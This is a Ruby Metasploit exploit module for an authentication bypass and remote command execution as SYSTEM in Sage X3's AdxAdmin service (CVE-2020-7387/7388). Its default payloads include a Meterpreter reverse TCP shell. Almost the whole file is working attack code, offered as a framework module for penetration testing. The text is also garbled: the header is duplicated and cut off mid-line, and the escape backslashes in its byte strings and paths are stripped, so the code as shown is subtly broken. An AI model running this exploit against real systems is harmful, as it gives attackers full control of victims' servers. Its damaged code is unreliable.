##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sage X3 Administration Service Authentication Bypass Command Execution',
'Description' => %q{
This module leverages an authentication bypass exploit within Sage X3 AdxSrv's administration
protocol to execute arbitrary commands as SYSTEM against a Sage X3 Server running an
available AdxAdmin service.
},
'Author' => [
'Jonathan Peterson <deadjakk[at]shell.rip>', # @deadjakk
'Aaron Herndon' # @ac3lives
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2021-07-07',
'References' =>
[
['CVE', '2020-7387'], # Infoleak
['CVE', '2020-7388'], # RCE
['URL', 'https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/']
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/generic',
'CMD' => 'whoami'
}
}
],
[
'Windows DLL',
{
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Executable',
{
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [FIRST_ATTEMPT_FAIL],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
Opt::RPORT(1818)
]
)
end

def vprint(msg = '')
print(msg) if datastore['VERBOSE']
end

def check
s = connect
print_status('Connected')

# ADXDIR command authentication header
# allows for unauthenticated retrieval of X3 directory
auth_packet = "x09x00"
s.write(auth_packet)

# recv response
res = s.read(1024)

if res.nil? || res.length != 4
print_bad('ADXDIR authentication failed')
return CheckCode::Safe
end

if res.chars == ["xFF", "xFF", "xFF", "xFF"]
print_bad('ADXDIR authentication failed')
return CheckCode::Safe
end

print_good('ADXDIR authentication successful.')

# ADXDIR command
adx_dir_msg = "x07x41x44x58x44x49x52x00"
s.write(adx_dir_msg)
directory = s.read(1024)

return CheckCode::Safe if directory.nil?

sagedir = directory[4..-2]
print_good(format('Received directory info from host: %s', sagedir))
disconnect

CheckCode::Vulnerable(details: { sagedir: sagedir })
rescue Rex::ConnectionError
CheckCode::Unknown
end

def build_buffer(head, sage_payload, tail)
buffer = ''

# do things
buffer << head if head
buffer << sage_payload.length
buffer << sage_payload
buffer << tail if tail

buffer
end

def write_file(sock, filenum, sage_payload, target, sagedir)
s = sock

# building the initial authentication packet
# [2bytes][userlen 1 byte][username][userlen 1 byte][username][passlen 1 byte][CRYPT:HASH]
# Note: the first byte of this auth packet is different from the ADXDIR command

revsagedir = sagedir.gsub('\', '/')

s.write("x06x00")
auth_resp = s.read(1024)

fail_with(Failure::UnexpectedReply, 'Directory message did not provide intended response') if auth_resp.length != 4

print_good('Command authentication successful.')

# May require additional information such as file path
# this will be used for multiple messages

head = "x00x00x36x02x00x2ex00" # head
fmt = '@%s/tmp/cmd%s$cmd'
fmt = '@%s/tmp/cmd%s.dll' if target == 'Windows DLL'
fmt = '@%s/tmp/cmd%s.exe' if target == 'Windows Executable'
pload = format(fmt, revsagedir, filenum)
tail = "x00x03x00x01x77"
sendbuf = build_buffer(head, pload, tail)
s.write(sendbuf)
s.read(1024)

# Packet --- 3
# Creating the packet that contains the command to run
head = "x02x00x05x08x00x00x00"

# this writes the data to the .cmd file to get executed
# a single write can't be larger than ~250 bytes
# so writes larger than 250 need to be broken up
written = 0
print_status('Writing data')

while written < sage_payload.length
vprint('.')

towrite = sage_payload[written..written + 250]
sendbuf = build_buffer(head, towrite, nil)
s.write(sendbuf)
s.recv(1024)

written += towrite.length
end

vprint(" ")
end

def exploit
sage_payload = payload.encoded if target.name == 'Windows Command'
sage_payload = generate_payload_dll if target.name == 'Windows DLL'
sage_payload = generate_payload_exe if target.name == 'Windows Executable'

sagedir = check.details[:sagedir]

if sagedir.nil?
fail_with(Failure::NotVulnerable,
'No directory was returned by the remote host, may not be vulnerable')
end

if sagedir.end_with?('AdxAdmin')
register_dir_for_cleanup("#{sagedir}\tmp")
end

revsagedir = sagedir.gsub('\', '/')

filenum = rand_text_numeric(8)
vprint_status(format('Using generated filename: %s', filenum))

s = connect

write_file(s, filenum, sage_payload, target.name, sagedir)

unless target.name == 'Windows Command'
disconnect
# re-establish connection after writing file
s = connect
end

if target.name == 'Windows DLL'
sage_payload = "rundll32.exe #{sagedir}\tmp\cmd#{filenum}.dll,0"
vprint_status(sage_payload)
write_file(s, filenum, sage_payload, nil, sagedir)
end

if target.name == 'Windows Executable'
sage_payload = "#{sagedir}\tmp\cmd#{filenum}.exe"
vprint_status(sage_payload)
write_file(s, filenum, sage_payload, nil, sagedir)
end

# Some sort of delimiter
delim0 = "x02x00x01x01" # bufm
s.write(delim0)
s.recv(1024)

# Packet --- 4
sage_payload = "@#{revsagedir}/tmp/sess#{filenum}$cmd"
head = "x00x00x37x02x00x2fx00"
tail = "x00x03x00x01x77"
sendbuf = build_buffer(head, sage_payload, tail)
s.write(sendbuf)
s.recv(1024)

# Packet --- 5
head = "x02x00x05x08x00x00x00"
sage_payload = "@echo off #{sagedir}\tmp\cmd#{filenum}.cmd 1>#{sagedir}\tmp\#{filenum}.out 2>#{sagedir}\tmp\#{filenum}.err @echo on"
sendbuf = build_buffer(head, sage_payload, nil)
s.write(sendbuf)
s.recv(1024)

# Packet --- Delim
s.write(delim0)
s.recv(1024)

# Packet --- 6
head = "x00x00x36x04x00x2ex00"
sage_payload = "#{revsagedir}\tmp\sess#{filenum}.cmd"
tail = "x00x03x00x01x72"
sendbuf = build_buffer(head, sage_payload, tail)
s.write(sendbuf)
s.recv(1024)

# if it's not COMMAND, we can stop here
# otherwise, we'll send/recv the last bit
# of info for the output
unless target.name == 'Windows Command'
disconnect
return
end

# Packet --- Delim
delim1 = "x02x00x05x05x00x00x10x00"
s.write(delim1)
s.recv(1024)

# Packet --- Delim
s.write(delim0)
s.recv(1024)

# The two below are directing the server to read from the .out file that should have been created
# Then we get the output back
# Packet --- 7 - Still works when removed.
head = "x00x00x2fx07x08x00x2bx00"
sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"
sendbuf = build_buffer(head, sage_payload, nil)
s.write(sendbuf)
s.recv(1024)

# Packet --- 8
head = "x00x00x33x02x00x2bx00"
sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"
tail = "x00x03x00x01x72"
sendbuf = build_buffer(head, sage_payload, tail)
s.write(sendbuf)
s.recv(1024)

s.write(delim1)
returned_data = s.recv(8096).strip!

if returned_data.nil? || returned_data.empty?
disconnect
fail_with(Failure::PayloadFailed, 'No data appeared to be returned, try again')
end

print_good('------------ Response Received ------------')
print_status(returned_data)
disconnect
end

end